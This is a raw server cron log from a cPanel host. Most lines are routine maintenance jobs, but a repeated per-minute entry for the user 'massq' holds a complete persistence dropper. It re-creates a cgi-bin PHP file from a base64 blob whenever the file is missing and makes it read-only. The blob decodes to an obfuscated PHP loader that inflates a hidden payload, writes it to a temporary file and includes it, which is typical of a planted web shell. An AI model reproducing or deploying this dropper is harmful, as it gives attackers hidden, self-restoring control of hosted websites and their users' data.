Sep  6 23:35:01 server CROND[29895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:35:01 server CROND[29892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:35:01 server CROND[29893]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:35:01 server CROND[29891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:35:01 server CROND[29896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:36:01 server CROND[30729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:36:01 server CROND[30731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:36:01 server CROND[30732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:37:01 server CROND[31105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:37:01 server CROND[31106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:37:01 server CROND[31107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:38:01 server CROND[31480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:38:01 server CROND[31481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:38:01 server CROND[31483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:39:01 server CROND[31950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:39:01 server CROND[31951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:39:01 server CROND[31952]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 23:39:01 server CROND[31953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:40:01 server CROND[32401]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:40:01 server CROND[32409]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:40:01 server CROND[32412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:40:01 server CROND[32414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:40:01 server CROND[32415]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:40:01 server CROND[32410]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:40:01 server CROND[32417]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:40:01 server CROND[32413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:41:01 server CROND[803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:41:01 server CROND[806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:41:01 server CROND[805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:42:01 server CROND[1245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 23:42:01 server CROND[1246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:42:01 server CROND[1247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:42:01 server CROND[1248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:43:01 server CROND[1649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:43:01 server CROND[1650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:43:01 server CROND[1651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:44:01 server CROND[2151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:44:01 server CROND[2152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:44:01 server CROND[2153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:45:01 server CROND[2533]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:45:01 server CROND[2535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:45:01 server CROND[2542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:45:01 server CROND[2545]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:45:01 server CROND[2543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:45:01 server CROND[2546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:45:01 server CROND[2544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:46:01 server CROND[3381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:46:01 server CROND[3383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:46:01 server CROND[3382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
